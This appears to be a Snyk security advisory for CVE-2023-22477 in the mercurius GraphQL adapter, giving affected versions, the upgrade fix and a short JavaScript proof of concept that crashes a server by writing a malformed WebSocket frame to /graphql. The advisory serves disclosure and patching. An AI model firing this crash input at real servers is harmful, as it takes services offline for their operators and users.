Uncaught Exception Affecting mercurius package, versions <8.13.2>=9.0.0 <11.5.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.16% (53rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncaught Exception vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MERCURIUS-3227610
  • published10 Jan 2023
  • disclosed9 Jan 2023
  • creditmarcolanaro

Introduced: 9 Jan 2023

CVE-2023-22477  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade mercurius to version 8.13.2, 11.5.0 or higher.

Overview

mercurius is a GraphQL adapter for Fastify

Affected versions of this package are vulnerable to Uncaught Exception when sending a malformed packet over WebSocket to /graphql.

PoC

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:1337/graphql');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});

CVSS Scores

version 3.1